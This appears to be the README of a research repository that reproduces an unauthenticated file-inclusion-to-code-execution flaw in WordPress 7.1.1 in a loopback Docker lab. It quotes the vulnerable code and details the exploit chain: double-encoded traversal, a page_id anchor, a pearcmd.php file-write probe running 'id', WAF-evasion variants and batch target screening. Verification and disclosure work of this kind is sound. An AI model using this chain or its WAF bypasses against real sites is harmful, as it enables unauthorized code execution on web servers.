WordPress Core <= 7.1.1 未认证 LFI 到 RCE - 验证实验环境、PoC、nuclei 模板 (GHSA-7hp8-65ch-5whp)
用于在隔离的、仅限回环的 Docker 实验室中复现和验证 CVE-2026-87902 (GHSA-7hp8-65ch-5whp) 的安全研究材料:WordPress 核心页面模板解析中的 未认证本地文件包含,可升级为远程代码执行。
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)状态:在所提供的实验室中已证实。
WordPress 7.1.1(Twenty Twelve 主题)允许未认证攻击者通过 pagename 查询
变量包含主题目录之外的 PHP 文件,并且——在官方 PHP 镜像默认的
register_argc_argv = On 下——通过 PEAR pearcmd.php 写入并执行标记文件:
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
使用相同配置的 WordPress 7.1.2 完全阻止了该 oracle(阴性对照)。这证明了在 容器内以 WordPress Web 服务器用户身份执行代码。它并未证明 root 访问、 容器逃逸、横向移动或主机失陷。
要求:Docker 及 Compose v2、Python 3.10+、可访问 Docker Hub 和 wordpress.org(主题安装)的网络。
./lab verify
这会构建存在漏洞的实验室,要求 LFI oracle 和 RCE 标记触发,然后构建已修补 的实验室并要求 oracle 保持静默。
使用其他回环端口:LAB_PORT=9499 ./lab verify。
之后使用 ./lab reset 移除所有内容。
存在漏洞的对照:
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
已修补的对照:
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
HTTP 200、WAF 拦截,或没有 oracle 标记的部分遍历,均不被接受为证据。
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
针对运行中的实验室手动运行工具:
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
对于您拥有或明确授权测试的系统(漏洞赏金范围、书面委托),驱动程序需要 显式覆盖:
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
wp-includes/template.php 中的 get_page_template() 根据 pagename 查询
变量构建候选模板文件名。上方三行的同级分支通过 validate_file() 传递
页面模板 slug;而 pagename 分支从未这样做,并且额外推送了一个经过
urldecode() 解码的候选:
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
7.1.2 对解码后的候选应用 validate_file() 并添加了一个包含性门控
(_wp_is_template_path_allowed()),每个解析后的模板路径都必须通过该门控。
locate_template() 会检查两者)附带一个
以 page- 开头的顶级目录。旧版默认主题(Twenty Twelve、Twenty Fourteen)
以及若干 wp.org 主题(Neve、Hestia、Sydney)符合条件。经研究的商业主题
(Divi、Avada、Flatsome、Woodmart、Betheme、The7、Enfold、Salient、
Jupiter/X、Porto、Houzez、XStore、Kalium、Uncode)均不附带——遍历
无法解析;参见 PoC 中的 PRO_THEME_PAGE_DIRS 以获取镜像来源列表。.php 结尾(由代码追加)。register_argc_argv = On 和 PEAR 的 pearcmd.php。公告和 Patchstack 的文章均拒绝发布可用的请求。以下细节是在本实验室中 经验性确定的:
page_id 锚点是必需的。 未解析的 pagename 会翻转 is_404,
其模板完全遮蔽 get_page_template()。使用任何可解析的已发布 page_id
锚定查询。get_posts() 通过
sanitize_title_for_query( wp_basename( … ) ) 重写 pagename:原始 ..
变为 -,但 %hex 序列会保留;get_page_template() 中额外的
urldecode() 揭示了遍历。只有 %252e/%252f 有效。redirect_canonical 对 GET 返回 301 并
丢弃载荷;对非 GET/HEAD 立即返回)。page-templates/ 出发需要四个
../。$_POST 合并到查询变量中)——
这是 WAF 规避层级的基础。$argv 令牌进行 urldecode,而 PEAR
的配置序列化器会转义两种引号风格——因此使用原始的、无引号的、
以 + 分隔的探测。| 路径 | 用途 |
|---|---|
poc/poc_cve_2026_87902.py | 完整 PoC:版本 + WAF 指纹识别、主题/page-* 文件夹枚举(wp.org SVN、资源引用发现、经研究的专业主题映射)、锚点发现、8 变体 LFI oracle、比较性空正文回退 oracle、--rce pearcmd 链、--lab docker 演示 |
poc/triage_cve_2026_87902.py | 针对单个目标或批量的判定,并指明失败的关卡(EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | 处理范围内的漏洞赏金资产列表:crt.sh 通配符扩展 → WP 过滤 → 前提条件筛查 → 候选移交 |
nuclei/cve-2026-87902.yaml | Nuclei 模板:安全 LFI oracle(174 个载荷:10 个 page-* 剩余部分、双重/三重编码层级、id 1–30) |
WAF 指纹识别覆盖 Imperva/Incapsula、Cloudflare、Akamai、AWS
CloudFront/WAF、Sucuri、F5。八种 oracle 变体:双重编码、替代
%25%32%65 拼写、参数污染、三重编码——每种均以查询字符串和 POST 正文
形式呈现。多部分正文和原始斜杠载荷经过测试并被拒绝(WP 不会为此接收点
处理它们)。
| 版本 | 评估 |
|---|---|
| WordPress 7.1.1 | LFI + pearcmd RCE 端到端复现 |
| WordPress 6.5.3 / 5.9.17 | LFI oracle 复现 |
| WordPress 4.7.0–7.1.1(其他分支) | 报告受影响;分支表见 GHSA |
| WordPress 7.1.2 | 已修补阴性对照复现 |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-87902.yaml
└── poc/
├── bounty_screen.py
├── poc_cve_2026_87902.py
└── triage_cve_2026_87902.py
未提交:.lab-state、__pycache__/、筛查器输出文件。
| 声明 | 状态 |
|---|---|
| 主题目录之外的未认证 LFI | 已证实(7.1.1、6.5.3、5.9.17) |
通过 pearcmd.php config-create 以 Web 用户身份 RCE | 已证实(7.1.1 实验室) |
| 探测自删除 / 无持久化痕迹 | 已证实 |
| 已修补阴性对照(7.1.2) | 已证实 |
| 每个中间受影响版本均已测试 | 未测试 |
| 针对实时商业 WAF 的 WAF 绕过变体 | 源自实验室,未经 WAF 测试 |
| Root 权限 / 容器逃逸 / 主机失陷 | 未声称 |
page_id 锚点和双重编码要求;比较性 wp-content/index.php
空正文 oracle 的来源,此处作为加固站点的回退方案包含)漏洞由 Robert Ressl 报告。本仓库为独立的第三方分析和工具。
MIT - 参见 LICENSE。
仅在您拥有或明确授权测试的系统上运行本仓库。实验室驱动程序拒绝
vulnerable/patched 以外的变体,Python 驱动程序拒绝非回环目标,除非
提供 --allow-authorized-non-loopback,并且 Compose 端口绑定到
127.0.0.1。
有关披露处理,参见 SECURITY.md。本仓库不包含生产目标、 客户数据、访问令牌或来自真实系统的证据。
具体而言:
127.0.0.1 上发布 WordPress。wp-links-opml.php,
这是一个打印 OPML 文档的库存核心文件。--rce 为选择性启用,通过公开记录的 pearcmd.php config-create 技术
写入一个无引号、自删除的标记探测
(<?=id,unlink(__FILE__)?>);该探测在其单次执行时自行移除,PoC
会验证删除。无 shell、回调或持久化。start 时从原始官方镜像重新配置;无目标插桩。